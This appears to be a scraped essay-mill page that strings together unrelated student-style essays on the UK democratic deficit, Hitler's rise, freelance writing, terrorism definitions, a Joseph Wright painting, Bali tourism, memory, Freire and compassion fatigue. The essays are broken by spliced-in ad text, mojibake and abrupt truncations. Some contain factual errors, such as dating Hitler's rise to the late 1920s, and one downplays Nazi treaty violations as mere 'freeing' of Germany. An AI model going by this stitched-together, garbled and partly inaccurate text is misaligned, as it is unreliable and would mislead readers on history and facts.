To What Extent Is There a Democratic Deficit in the Uk free essay sample

The most telling indicator of there being a democratic deficit in the UK today is the continuing decline of voter turnout at all elections for the past 60 years. There is a growing level of general apathy towards political issues in the UK which is not just damaging to the health of a democracy but fatal. The government requires a mandate to govern, if they do not achieve popular consent then how are they representative of the people? The last three general elections have yielded voter turnout of around 60 – 65% of the electorate, leaving a significant proportion of people who chose not to exercise their democratic right to vote. At the European Parliament elections turnout has been far lower with the last three elections yielding 24 – 39% of voters turning up to cast their ballot. The recent Police Crime Commissioner (PCC) elections have produced the lowest ever turnouts in the UK with just 14. 9%. The Prime Minister said that the PCC’s have a mandate; although it was only the turnout that was 14. We will write a custom essay sample on To What Extent Is There a Democratic Deficit in the Uk? or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page % so many PCC’s will be governing with less than 10% of the vote. This incredibly low turnout illustrates just how apathetic people have become in regards to British politics, but there is also the matter of spoiled ballot papers. The total number of votes was 344,213 (excluding spoilt ballots) with the number of spoiled votes standing at more than 120,000. That means over a quarter of people who turned up to the polling stations did so for the sole purpose of spoiling the paper. The fact that people would take time out of their lives specifically to undermine the democratic process shows just how much of a democratic deficit exists in the UK. People have become so disillusioned with traditional democracy in the UK they resort to methods such as spoiling the ballot paper to tell the government that the people will not stand for it, that voting doesn’t work, that all politicians are in it for themselves. The 2009 Parliamentary expenses scandal shocked voters with the scale of MP’s dishonesty with taxpayer’s money. Those in power felt that they were beyond reproach and despite the sudden change of heart many MP’s had over claiming expenses when the scandal came to light there are still those today that claim in excess of ? 60,000 per year. The mainstream political parties do not represent the views of many and the small parties that do will never gain power under the unfair FPTP system. People have resorted to campaigns such as the worldwide occupy movement that gained mass media coverage with their camp outside St. Paul’s Cathedral, or the vigilante hacker group Anonymous who attack what they perceive to be unjust areas of the government. It is not just a minority of extremists who are partaking in these activities; their members are those who have been pushed to the side lines by the vast democratic deficit in the UK which has forced the common man without a voice to shout at the government via unorthodox and sometimes illegal means. Of course we mustn’t forget that not everyone can vote in the British system of democracy. The Justice Secretary Chris Grayling holds the view of many in his party and others across the political spectrum over the debate on whether or not to extend the franchise to all. He told his fellow MP’s that they had the power to â€Å"legislate contrary to fundamental principles of human rights†. The right to vote is absolutely essential to any democracy and yet the government fears what would happen if they finally gave the right to vote to all in the UK. One of the harsh realities of the criminal justice system is that miscarriages of justice are an everyday occurrence. Yearly over 770 convictions are overturned in the court of appeal and nearly 3,500 convictions quashed when the case proceeds from a magistrate court to a crown court. This shows just how broken the system is, and as well as being a human right giving prisoners the vote would help the government to get a better perspective on how to reform prisons to reform inmates. Membership of political parties has plummeted over the past 60 odd years and now just 1% of the population are members of a political party. This runs parallel with less people turning out to vote, it is plain that people do not want to get involved with political parties anymore. It is not that they no longer care about governance but that they feel that the system does not work for them and that it also does not allow reform to allow it to change into a free and fair way true democracy. The increased use of referendums in the UK can be hailed as a way of helping to combat the democratic deficit by giving power directly to the people on a single highly important issue. There have however only been 2 UK – wide referendums which shows that on matters of national importance the government is not quite as keen to hear everyone’s point of view. The electorate is rarely consulted directly via the use of referendums as opposed to more democratic countries such as Switzerland. On the rare occasion the government concedes and allow the voters a direct say, if they chose to do so they could ignore the result as referendums are not legally binding. Power rests with Parliament and although in theory our MP’s represent their constituents’ views the government is free to pursue its own agenda once it is in power. In the AV referendum of 2011 implementation of a voting system of proportional representation was rejected. The â€Å"No† campaign was fought using a mixture of scare tactics and lies and active participation in the vote was not readily encouraged by either of the two most powerful political parties as they would stand to lose a lot under a fairer voting system. The current system of FPTP ensures that an MP can be elected without a majority of votes which is highly undemocratic. Another undemocratic feature of British democracy that is having the status quo maintained is the unelected House of Lords. Only two countries in the world allow hereditary politicians – Lesotho and the United Kingdom. The elected representatives in the commons voted against further reform of the House of Lords despite polls continuously showing support for greater reform. From just this one example can it be said that MP’s are truly representing the people they are supposed to? It is possible that a significantly contributing factor of this democratic deficit is the lack of political education available. The average layman does not have time to thoroughly research political issues and will get their only political news from the Metro or Evening Standard, and if the Leveson report is implemented in full it would not be a far cry to the press no longer being free. The government should be spending a great amount of effort into educating the populace on political issues as â€Å"the ignorance of one voter in a democracy impairs the security of us all†. Whether intentionally or not by raising tuition fees to an inaccessible level the government has succeeded in preventing thousands of disadvantaged, but educated, students who would clamour for reform. Michael Gove has now changed the curriculum to allow citizenship lessons to be optional, thus removing all chances of political education whilst in compulsory schooling. Supporters of the UK as a thriving democracy would point to things such as devolution to say that the government is trying to be democratic and open. The devolved assemblies even use PR instead of FPTP and they give power to people locally. It is the same problem as with referendums, whatever the assemblies pass is not binding. Westminster grants power to these devolved areas whilst retaining the right to veto their decisions. If a government so wished they could abolish the devolved assemblies completely. Devolution is just another one of the way the government tries to appear democratic while not promoting democracy. Freedom of Information Requests (FOI) are in principle a brilliant thing as they promote transparency and accountability of the government and local authorities, but as with so many things they do not work in practice as they do in principle. In 2011 over 10,500 FOI requests were refused, so once again power remains firmly in the hands of those who hold it rather than the people. The government is only open about the things it wants to be, it still reserves the right to keep quiet. The democratic deficit is very real and present in the UK and it is greatly affecting democracy in this country. Unless the issues which are causing this deficit are directly addressed and soon this country could very easily turn into a â€Å"democratic dictatorship† although in many ways it already is with the sweeping powers the PM has or the lack of true accountability at all levels of government. A majority of people are disillusioned not with democracy but with the archaic British political system and this disillusionment could lead from the spoiling of ballot papers to something much more serious such as civil unrest as demonstrated by the nationwide riots last year.

The War After essays

The War After essays In the late 1920s a German dictator and War veteran called Adolf Hitler rose to power in Germany. In his campaign he promised the people of Germany that he would make their country great again. German voters loved Hitlers optimism, all of Europe was caught up in the depression and the German people saw Hitler as a way to escape it. Hitler soon realised that the more he offered the more people supported him, other World powers saw him as simply another dictator promising his people things he couldnt achieve. It was not obvious what Hitlers plans were at this stage but if he was planning war from this early on then it is very unlikely that the world powers would have ignored him. When the Nazi party, lead by Hitler rose to become the leaders of Germany one of the first things Hitler did was to go against the Treaty of Versailles. In his views and many of the German people the Treaty was totally unfair, the winning powers had made it and they had thrown so many different rules at Germany that there was no possible way Hitler could be a successful leader if he obeyed every one of them. Hitler withdrew Germany from the failing League of Nations and astonishingly from the Geneva disarmament conference that was set up prevent war on a major scale. Although it is easy to interpret Hitlers actions as violent, all he was simply doing was freeing German, from all its loose ties. Hitlers ambition was to make Germany great again, and that could never happen if they had to keep following various rules of things that didnt involve them. Hitler went on to invade the Rhineland, totally re-militarising it. The Treaty of Versailles clearly stated that Germany wasnt to be allowed troops in that area of Germany. Hitler claimed that he wouldve ordered his troops to retreat if he had come across resistance from the French or the British. However no French or British tro...

A Full-Time Income on Part-Time Hours

A Full-Time Income on Part-Time Hours A couple of years ago, after Id returned form maternity leave and decided that I quite enjoyed spending time with my son, I went part-time as a writer. Yet, despite having cut down my hours, I was able to maintain my yearly income. Wait, thats not true. I increased it. If youre a writer with a day job or a work-at-home parent in charge of noisy kids looking to make a nice income on part-time hours, you need to maximize the work you can do in those limited hours. How? Read on. 1. Take on only high-paying work. I only worked 20 hours a week during that first year as a writing parent, and so I knew that I no longer had time for $50 blog posts or articles that paid $100 for 1,000 words. Instead, I focused exclusively on $1-a-word markets and $100-per-hour projects. That meant that even if I did actual write for only 10 hours a week (the rest of the time devoted to marketing and admin), I could, in the weeks that I filled up those hours, be making $1,000 a week. Not bad! 2. Take on easier work. Before motherhood, my biggest joy was being a journalist, going out and finding untold stories from places no one had ever looked. I wrote about the environment, womens issues, politics, and business from my home in India. I won awards for my work. But this was difficult, time-consuming work, and once the ba 3. Make the most of every bit of research. I have a rule for myself: Every interview I do should lead to at least two more ideas for stories. So when I interviewed a well-known food scientist for a story about genetic modification, I ended our conversation 4. Come up with ideas in multiples of three. I rarely come up with a single idea. I come up with the idea in multiples of three. Thats because I take the initial spark of an idea and try to transform it into something that would fit into a number of different publications. So my query on how busy women can keep fit wont just be sent to a womans magazine but a magazine for working women (The Five-Minute Fitness Program for Executives), a parenting magazine (Fitness Tips for the Time-Crunched Mummy) and maybe even a general interest publication (Fitness on a Stopwatch). 5. Have a goal for every hour. Its so easy to open up your computer in the morning and waste two hours on Twitter. This happens when you dont have a plan of action. Make a to-do list for the week and then each day before bed, take the top three things you know you must do tomorrow and put them on a separate list. When you sit down to work in the morning (or during afternoon nap time), you know exactly what you need to get done. The more productive you are in the hours that youre actually working, the more youll be able to earn. Finally, remember, when people work 80 hours a week, theyre not actually working those 80 hours. Theyre working a productive 20, a not-so-productive 20, and a completely wasteful 40. So maximize your own productivity for your first 20 hours and youll be earning a full-time income in no time.

Counter Terrorism in Comparative Perspective Essay - 1

Counter Terrorism in Comparative Perspective - Essay Example As a measure to retaliate to and prevent terror attacks, America and its allies have initiated several counter-terror operations in perceived geo-political hotspots. But differentiating between what comprises an act of terror and what can be classified as counter-terror is never straightforward - the official use of these labels is often purely a matter of rhetoric and self-serving bias. As renowned public intellectual Noam Chomsky succinctly points out, â€Å"if it is done by our side, the act is counter-terror; if it is done by the enemy, it is terror†. (Chomsky, as quoted in Bowden, 2003, p.51) A glance at the presentation of conflicts in mainstream media sources bears out this point. Depending on who the consumers of news information are, notations of terror and counter-terror are conveniently swapped. Hence, conceptions and definitions of these two opposing terms will have to begin by dispelling rhetorical exaggerations, intrinsic biases and other barriers to truth. In th is context, it is not surprising that the word ‘terrorism’ has become so subjective as to be without any concrete meaning. Nevertheless, the word has a frightening resonance, because people â€Å"tend to believe that it does have meaning and to use and abuse the word by applying it to whatever they hate as a way of avoiding rational thought and discussion and, frequently, excusing their own illegal and immoral behaviour†. (Whitbeck, 2002, p.52) The vagueness of the term is evident from the range of verbal formulations (signifying diverse acts) to which it is applied – â€Å"Mass murder," "assassination," "arson" and "sabotage" are available (to all of which the phrase "politically motivated" can be added if appropriate). Such crimes, moreover, are already on the statute books, rendering specific criminal legislation for "terrorism" unnecessary. Such precise formulations, however, do not carry the overwhelming, demonizing and thought-deadening impact of th e word "terrorism," which is, of course, precisely the charm of the word for its more cynical and unprincipled users and abusers. If someone commits "politically motivated mass murder," people might be curious as to the cause or grievances which inspired such a crime, but no cause or grievance can justify (or even explain) "terrorism," which, all right-thinking people agree, is the ultimate evil.† (Whitbeck, 2002, p.52) The best indication of difficulties in defining terrorism is the fact that some of the most inspirational public figures of the twentieth century such as Nelson Mandela, Menachem Begin, Yasser Arafat and Gerry Adams were all regarded as terrorists at some point during their public life. This classification of them being terrorists co-existed or transformed into more respectable classifications such as statesmen and peacemakers – indeed, Mandela, Begin and Arafat, have been awarded the Nobel Peace Prize and Mandela is viewed today by many as the leading m oral authority of his time in the world. (Tsoukala, 2004, p.417) Such examples typify the hazard of defining terrorism and terrorists. It also shows that these terms are easier to talk about than to define. As noted political commentator, Nissan Horowitz, points out in the major Israeli newspaper Ha'aretz, the meaning of the term terrorism is all in the eye of the beholder. To give a concrete example, he asks â€Å"

The painting of Joseph Wright Essay Example | Topics and Well Written Essays - 1000 words

The painting of Joseph Wright - Essay Example The essay "The painting of Joseph Wright" discovers The painting of Joseph Wright. The fright associated with seeing the bird die overcomes one of the children until she shies away from the view. Her father holds her and encourages her to witness the experiment. The man in the front view of the picture seems to engross himself in deep thought and reflection. There appears to be excitement among the youth on how the experiment is progressing. There are two lovers on the left who seem to have little clue on the experiment and are more keen on each other than they are on the experiment. The bird in the flask unifies and focuses the disparate elements of the painting. The painting employs the use of spherical and curved shapes on the glass flask, the objects on the table, and the moon bringing out a sense of perfection. The candle dramatically lights the elements in the painting while the moon adds to this drama by presenting a view of the outside world. There is a skull in a container b arring the candle’s light. The scientist appears to look at the viewer of the painting with a suggesting impression of seeking the viewers’ opinion on whether to continue with the experiment or not. The other people on the painting seem to have less concern for the fate of the bird. The father shows attention to his daughters while the lovers show affection to each other. The boy at the window appears to raise the cage, lower the cage, or to open the curtain in order to allow the moonlight to penetrate.

The Ultimate Island Essay Example for Free

The Ultimate Island Essay Global warming has caused our body and our earths temperature to rise by a few degrees. The continuous release of greenhouse gases has turned our once peaceful work environment into a polluted and hellish cell of exhaustion. During those times we spend harassing our mind and body in such â€Å"incarceration†, all of us have imagined being in a place where we can relax ourselves worry-free, where we can retreat with our family, and â€Å"socialize† for the bachelors and bachelorettes. A place away from pollution, noise, and disorder. A place where all we do is appreciate the existence of a heavenly environment here on earth. And if all of you dream of these things while at work, you really need a vacation.   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   In the long list of vacation spots we can find on the internet or in tourist brochures scattered in hotels and travel agencies, one place would always be ahead of everywhere else, Bali, Indonesia. This island will not be on top of the list for no reason.   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Being the largest archipelago found in the Pacific, Indonesia is proud of its 7000 islands including Bali (Diving Indonesia). This particular island includes miles of sandy beaches, enchanting rice-terraces, volcanoes of up to 3,000 meters high, caves, lakes, forests, and valleys enough for you to tell yourself, â€Å"Oh! This is heaven on earth!† (Bali Tours)   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Being an island of only 2,000 square miles, appreciating the exotic and picturesque features of Bali is easy. There are lots of day tours which will take you anywhere in the island and take you home very satisfied in the evening (Introduction to Bali).   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Surrounded by rich waters of the Pacific, Bali will bring you the best of ocean life through scuba diving, surfing, parasailing, and snorkelling offered by the best facilities in the island (Popular Bali Activities). After your water adventure, the white sand beaches will soothe your tired and aching muscles.   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   For the young ones who came with adventurous spirits, who are in great need for   physical satisfaction, there are sea-side bars, beach clubs, and activities such as white-water rafting, paint ball war games, bungee jumping, horseback riding, nature tours, mountain cycling, kayaking, and jungle trekking to exhaust your undying energy (Popular Bali Activities).   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Since vacation is not only for enjoying the itineraries Bali tours are offering every visitors, with the great variation of their interests ranging from nature appreciation to learning, the island also has opportunities that will satisfy everyone’s thirst for new information.   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Its rich Malayan history and culture will amaze you as you witness the everyday lives of its people, visit famous temples and palaces, and watch cultural shows, films, and festivals (Bali Tours). Also, with many museums and exhibitions open to all visitors, Bali will satisfy every tourists need for rare and unique information (Bali Museums and Art Exhibitions).   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Lastly, your visit to Bali will not be that convincing without shopping for local products. Shopping areas provide a variety of souvenirs like handicrafts, pieces of furniture, woven fabrics, accessories, paintings, wood carvings, clothes, and jewelry (Shopping in Bali). All these are available for you to take home, that is, if you still want to go home.   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   All work and no play truly makes our lives dull. And because of the many factors which creates uneasiness and dissatisfaction in our work area, and for those who will be entering the professional world for the first time, it is best to have an idea of what beauty and peace is all about to inspire us in our endeavours.   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   This summer, why dont we call our employers for a vacation and our travel agents for an immediate flight to this heaven on earth?   Dont wait and endure your punishment-like work environment for another year and visit this one-of-a-kind destination. References: Adventure Indonesia. Diving Indonesia. Retrieved 31 March 2008, from http://www.indonesiadiving.com/ Bali Tours. Bali.com Ltd. Retrieved 31 March 2008, from http://www.baliguide.com/balitours.html Introduction to Bali, Indonesia. Bali.com Ltd. Retrieved 31 March 2008, from   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   http://www.baliguide.com/geography.html Popular Bali Activities. Bali.com Ltd. Retrieved 31 March 2008, from   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   http://www.baliguide.com/baliactivities.html Shopping in Bali. Bali.com Ltd. Retrieved 31 March 2008, from    http://www.baliguide.com/shopping.html Bali Museums and Art Exhibitions.Bali.com Ltd. Retrieved 31 March 2008, from   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   http://www.baliguide.com/balimuseums.html

Learning and Memory Essay -- Biology Essays Research Papers

Learning and Memory Learning and memory are not unitary processes. Learning is the process by which new information is acquired; memory is the process by which that knowledge is retained. Learning can be divided into two types: 1)Explicit memory is the conscious acquisition of knowledge about people, places and things. It occurs in the highly developed vertebrate brain ,mainly in the diencephalic structure (1). 2) Implicit memory is the non conscious learning of motor skills and other tasks. It does not depend on the temporal lobe, but involves the sensory, motor associated pathways in the expression of learning process. This type of memory can be studied in higher invertebrates whereas explicit learning is only studied in mammals (2). After reviewing the enormous amount of information pertaining to memory and learning, I decided to focus on two areas of interest: the actual mechanism of learning and the process of consolidation which relates to how something that is learned is then stored as memory. The first area of interest involving learning has been elucidated by the concept of long term potentiation (LTP) in mammals and vertebrates and the second related area of consolidation has been elucidated by an invertebrate model of Aplysia. Long term potentiation can be defined as a long lasting increase in synaptic effectiveness which follows from high frequency of stimulation of afferent fibers. Although LTP occurs throughout the nervous system, it's focus has mainly been in the hippocampus which is involved in the formation of certain memories (1). Furthermore, LTP has been found to occur in not only the mammalian brain but also in other vertebrates such as the goldfish, bullfrog, bird and lizard. Characteristics of L... ...ns needed for growth. This shows that long term changes in both mammals and Aplysia are linked to gene induction which leads to synaptic growth (3,4). In conclusion, the structural changes implicated in long term memory are due to new protein and mRNA synthesis. These changes in transcription and translation can be initiated by repeated exposure to modulatory transmitters (5 HT) which mimic the effects of hormones and growth factors. Furthermore, through second messenger systems that regulate gene expression, modulatory transmitters utilized for learning can initiate synaptic growth. Internet Sources: http://oac.hsc.uth.tmc.edu/apstracts/1995/jn/April/8n.html http://oac.hsc.uth.tmc.edu/apstracts/1997/jn/December/353N.html http://oac.hsc.uth.tmc.edu/apstracts/1997/jn/February/45n.html http://oac.hsc.uth.tmc.edu/apstracts/1997/jn/December/320N.html

The Banking Concept

Through Freire†s † The Banking Concept of Education,† we see the effects this concept has on it†s students and also we see the effects that the alternate concept, problem-posing has. The ‘banking† concept allows the students to become vessels of knowledge, not being able to learn at a creative pace. By using communism, seeing through how education is taught in the classroom, it is parallel to Freire†s ‘banking† concept. We can see that both ideas are similar and both were harmful to the human mind. While ‘banking† poses the threat of creative growth and power, Marxism, which applies Marx†s ideas to learning in a communistic way, it creates the threat of never being able to learn. The banking concept is † a gift bestowed by those who consider themselves knowledgeable upon those who they consider to know nothing† (Freire 213). The goal of the ‘banking† concept is to deposit as much information into the students as possible. This results in disconnected memorization without the real understanding and discouragement of creative thought. They cannot think for themselves. As Marx writes, just as there are two types of learning, ‘banking† and problem-posing, he explains that society is this way also. There is the upper class and subordinate classes. They both struggle for economic and political power and the primary way the upper class keeps its power is through their beliefs and values. They are allowed to think. The subordinate classes believe they are subordinate due to the upper classes prestige and way of thinking. Like Freire†s ‘banking† concept, education is the way to keep students down and this works because the students accept all knowledge from the teacher, just like the dominant class in Marx†s ideology, keeps the subordinate classes submissive. There are also things that make Freire†s ideas of teaching that leave Marx at a disadvantage. This is because most submissive people will eventually fight back to get their ideas heard. So therefore the ‘banking† concept has a flaw in itself. When Marx talks about the subordinate classes believing that they had to live up to the upper class, he forgot to mention that throughout time, an oppressed people will figure out that they deserve better than what they are receiving. Overthrowing a government or standing up to a figure of power allows the submissive to no longer not be able to learn. They learn through facing what they had been crushed by for so long. ‘Banking† will eventually fall to its demise, to its students. This will then pave the way to actually learning something that is useful and can be utilized. ‘Banking† and Marx both do not realize that you cannot keep something hidden out of sight, a people that can learn and live, without having to keep them subservient.

Compassion fatigue in nursing and how it relates to home health nurses Essay

Compassion fatigue in nursing and how it relates to home health nurses Introduction                   Compassion fatigue is the psychological, spiritual, and bodily exhaustion of nurses, especially those that provide care to patients suffering from high levels of physical and emotional pain (Anewalt, 2009). The phenomenon has been reported in many specialized lines of nursing care, including emergency care, cancer care RNs and casualty staffs (Lombardo & Eyre, 2011). Compassion fatigue has been commonly reported in Care giving nurses, as a unique burnout that limits their ability to show compassion or perform excellently in other spheres of care delivery. The phenomenon of compassion fatigue has been commonly reported among the nurses that provide care at home, especially where the nurse feels that they are not able to stop the pain of their patient (Yoder, 2010). The feelings of being desperate about the inability to manage or halt the suffering of the patient trigger the feelings of distress and guilt among the doctors and patients (Ward-Griffin, St-Am ant & Brown, 2011). This paper will explore the phenomenon of compassion fatigue among the nurses that provide care at home, and the relevance of the subject to nursing practice. Significance and background of Study                   There have been concerns that the nurses that provide home health care to parents, relatives, and friends, especially those providing care to their aging parents are more vulnerable to compassion fatigue. From the Canadian and the US environment, observations include that the years of many nurses have been increasing. The increment of the average nurse’s age further implies advancements in the mean years of their parents. The advancing age of parents and relatives increases their burden of delivering home health care (Aiken, 2007; Newson, 2010). There has also been growing threat that the personal balance between the responsibilities of carrying out their duties at the hospital and caring for their aging parents has been a major issue for healthcare organizations.                   Unfortunately, there are no statistics showing the prevalence of double-duty delivery of care among these nurses. In the current study, the phenomenon of double-duty is conceptualized as working in a healthcare organization or setting, and then offering care at home, to parents or other relatives. However, the studies in the area, give indications that between one-third and half the number of nurses care for their aging relatives and friends (Ward-Griffin et al., 2009). Taking into account that the problem of an aging nursing population and the necessity to provide care to aging relatives correspond with one another. It became apparent that studying the issue of compassion fatigue was necessary (Ward-Griffin et al., 2009; Hsu, 2010). The problem of compassion fatigue in care delivery                   Compassion fatigue is often the effect of finding distinctive constraints in the way of care delivery, whether the limitations are of a psychological, institutional or personal nature (Epstein & Hamric, 2009). These constraints are those that are likely to hinder the process of care delivery, because they inhibit the capacity to do what is considered morally right. One of the individual-based manifestations of the phenomenon includes the feelings of anger, aggravation and guilt/ self-blame, at being unable to deliver maximum care of the sickly or aged patients at home. The root causes of the problem in a nurse’s work and professional life include the self-professed violation of professional or individual-based responsibilities and core values. The problem is usually overtly expressed or manifested, whenever it coincides with the experience of being inhibited from taking the decision and/or action that is thought of, as ethically appropriate.                   From a personal point of view, as a nursing practitioner, the principal values that I feel that I must devote myself to, including my God, family, work, and community. Among the four top focal points that demand my attention emotionally and physically, I have the inherent feeling that is serving the requirements of God and my family are the first priorities, because these social spheres are irreplaceable. The delivery of service to my workplace and the community is different, in that it is a personal choice. For example, it is personal, whether I am satisfied with the work offered by a healthcare facility. The same situation applies to the community of residence because the lack of satisfaction with the social fabric or the values of one society can be solved by moving into another one. One of the unfortunate events that demonstrated the experience of compassion fatigue, was the case that forced me to call in an oncologist friend, so that she could deliv er care to my mother, after I was called in for an emergency at the healthcare centre (McCarthy & Deady, 2008). After being called for the emergency duty, I tried to avoid the task so that I could deliver care to her, but it was unfortunate that the hospital reported having attempted to reach other nurses unsuccessfully.                   At that point, the decision and the emotional turmoil resulted from the feelings that I would be turning away from delivering the best care that I wanted my mother to receive. The home health (personal) responsibility also had to be balanced off with the need to provide care to the at-risk patient facing the risk of death at the hospital. At the end of the ordeal, I had to call the friend, so that she could check on my mother, as I rushed to the hospital to save the patient under emergency care (McCarthy & Deady, 2008). The phenomenon has also been apparent in the cases where I have had to be called in for the facility, while delivering care to the home health clients that have contacted me to offer care outside my official hours of work (Hamric & Blackhall, 2007). Knowledge development around the problem of Compassion fatigue                   In order to continue to develop knowledge for practice improvement in this core area of service delivery, I will explore the fields of nursing that are at higher risks of suffering from compassion fatigue. One of the studies that have been instrumental, and one that will continue to be, is that by Bourassa (2009). The study pointed out that some nursing groups are more vulnerable. The groups that are at a higher risk of suffering from compassion fatigue include social workers, support staff for the victims of domestic violence, oncologists, genetic consultation nurses, and palliative care nurses (Bourassa, 2009). Through the study of the various fields of nursing care delivery, I discovered that they all share some common characteristics, including that they are caregivers for vulnerable groups. The sources of the compassion fatigue are that they all tend to internalize the suffering of the patients suffering from life-threatening conditions and the abus es experienced by the victims of ill-treatment. Other groups that are at high levels of vulnerability to developing compassion fatigue include those that deliver care to helpless patients. These lines of nursing care include those working in the conditions of mental care; end-of-life and pediatrician care (McCarthy & Deady, 2008).                   Towards developing more knowledge and exposure in the professional skills and the discipline needed to deal with the problem of compassion fatigue, I have enrolled in courses on compassion fatigue. Apart from starting a course on compassion fatigue, with the Traumatology Institute, I have joined their professional network, which offers its members with updated information from practice-based research and changing practice dynamics (Traumatologyinstitute, 2014). Further, from a study done by Potter and colleagues (2013), it was found that the training and development delivered through compassion fatigue hardiness courses were effective in increasing a nurse’s knowledge stock. More importantly, the study reported that the programs were effective in improving the nurse’s ability to counter the adverse effects of compassion fatigue. The findings of the study showed that secondary trauma effects reduced drastically, immediately after starting th e resiliency training. Therefore, this will be another important source of education and development, as well as knowledge development for more advanced care delivery. The measures of progress will be the number of training hours accessed, and the scores attained on a variety of scales. This includes the â€Å"IES-R (Impact of Event Scale-Revised) and the ProQOL (professional Quality of Life† levels (Potter et al., 2013). The ProQOL measurement model will be the most critical test, and the analysis tool is included as an appendix at the end of this paper (Baranowsky & Gentry, 2010). Outside resources for knowledge development                   Evaluation of a compassion fatigue resiliency program for oncology nurses. Oncol Nurs Forum, 40 (2), by Potter and colleagues will be an imperative resource for improving my knowledge of compassion fatigue and updated care models. The source will be very helpful because it has reported the effectiveness of resiliency training, which is an important piece of my quality improvement plan.                   The Traumatology Institute, apart from being the provider of the courses I plan to take, on compassion fatigue is paramount. The benefits to be enjoyed from being a member of the institute include that I will get access to their periodic publications, which reported evidence and practice-based findings and information (Traumatologyinstitute, 2014). Potential barriers to knowledge development                   The first primary hindrance is lacking enabling resources and structures. For example, at the health facility I am attached to, there are no resources that can offer useful information on compassion fatigue (Shariff, 2014). The second barrier is monetary, because my finances will limit me from joining more professional institutions and courses like Traumatology Institute. Conclusion                   Compassion fatigue has been defined in many ways, but its key features are psychological and physical exhaustion, due to the provision of care to patients or groups suffering from high levels of pain and suffering. The phenomenon is common among oncologists among other lines of nursing. The issue is crucial to my practice, as a nurse, because I often encounter conflicts between caring for my family and meeting professional demands. Towards the expansion of the knowledge developed around the issue of compassion fatigue, I have joined a learning institution and will be self-administering tests to gauge my levels of compassion fatigue. References Aiken, L. (2007). U.S. Nurse Labor Market Dynamics Are Key to Global Nurse Sufficiency. Health Serv Res, 42 (3 PT 2), 1299-1320. Anewalt, P. (2009). Fired up or burned out? Understanding the importance of professional boundaries in home health care hospice. Home Healthcare Nurse, 27 (10), 591-597. Baranowsky, A.B., & Gentry, E.J. (2010). Trauma Practice, Tools for Stabilization and Recovery (2nd Ed). Oxford: Hogrefe Publishing. Bourassa, D.B. (2009). Compassion fatigue and the adult protective services social worker. Journal of Gerontological Social Work, 52, 215-229. Epstein, E., & Hamric, A. (2009). Moral Distress, Moral Residue, and the Crescendo Effect. J Clin Ethics, 20 (4), 330-342. Hamric, A. B., & Blackhall, L. J. (2007). Nurse-Physician Perspectives on the Care of Dying Patients in Intensive Care Units: Collaboration, Moral Distress, and Ethical Climate. Critical Care Medicine, 35 (2), 422-429. Hsu, J. (2010). The relative efficiency of public and private service delivery. World Health Report (2010) Background Paper, 39, 4-9. Lombardo, B., & Eyre, C. (2011). Compassion Fatigue: A Nurse’s Primer. The Online Journal of Issues in Nursing, 16(1), 1-8. McCarthy, J., & Deady, R. (2008). Moral Distress Reconsidered. Nursing Ethics, 15(2), 254-262. Newson, R. (2010). Compassion fatigue: Nothing left to give. Nursing Management, 41(4), 42-45. Potter, P., Deshields, T., Berger, J. A., Clarke, M., Olsen, S., & Chen, L. (2013). Evaluation of a compassion fatigue resiliency program for oncology nurses. Oncol Nurs Forum, 40(2), 180-7. Shariff, N. (2014). Factors that act as facilitators and barriers to nurse leaders’ participation in health policy development. BMC Nursing, 13, 20. Traumatologyinstitute. (2014). Compassion Fatigue Courses. Traumatology Institute. Retrieved from: http://psychink.com/training-courses/compassion-fatigue-courses/Ward-Griffin, C., St-Amant, O., & Brown, J., (2011). Compassion Fatigue within Double Duty Caregiving: Nurse-Daughters Caring for Elderly Parents. The Online Journal of Issues in Nursing, 16(1), 1-9. Ward-Griffin, C., Keefe, J., Martin-Matthews, A., Kerr, M., Brown, J.B., & Oudshoorn, A. (2009). Development and validation of the double duty caregiving scale. Canadian Journal of Nursing Research, 41(3), 108-128. Yoder, E. (2010). Compassion fatigue in nurses. Applied Nursing Research, 23,191-197. Source document

The Effects of Stem Cell Research essays

The Effects of Stem Cell Research essays Stem cell research will have a great effect on the economy and the science world. When describing what stem cells are it can be quite difficult to explain, so I have quoted The National Institutes of Heath: ?Stem cells are cells that have the ability to divide for indefinite periods in culture and to give rise to specialized cells. They are best described in the context of normal human development. Human development begins when a sperm fertilizes an egg and creates a single cell that has the potential to form an entire organism.? (NIH net). Stem cell research does have many promising aspects to it. In this paper, I will explain the economical aspects of stem cell research and the scientific aspects of stem cell research. One of the aspects that stem cell research could promise is curing many different life-treating diseases. These diseases are the main cause of deaths in the United States. If these disease were eradicated the economy would stimulate dramatically. It is estimated that by curing cancer and eliminating the deaths cause by cancer would generate an economical value worth 47 trillion dollars (Klatz net). Being that cancer is one of the leading causes of death in America, a cure for cancer would save many lives. If these lives were saved then they would still be putting money back into the economy. Thus stimulating the economy and creating more money in the country (Kluger net). Heart disease is another leading cause of death in America. If heart disease was cured it is estimated that it would have an economical value of 48 trillion dollars. Reducing the death rate from heart disease by 20% would be worth around 10 trillion dollars to Americans. That would be worth more than 1 year's U.S. gross domestic product (Klatz net). By developing stem cells scientists can replace damaged tissues such as spinal injures, various diseases, and injures cause by car accident victims. Therapeutic cloning is used ...

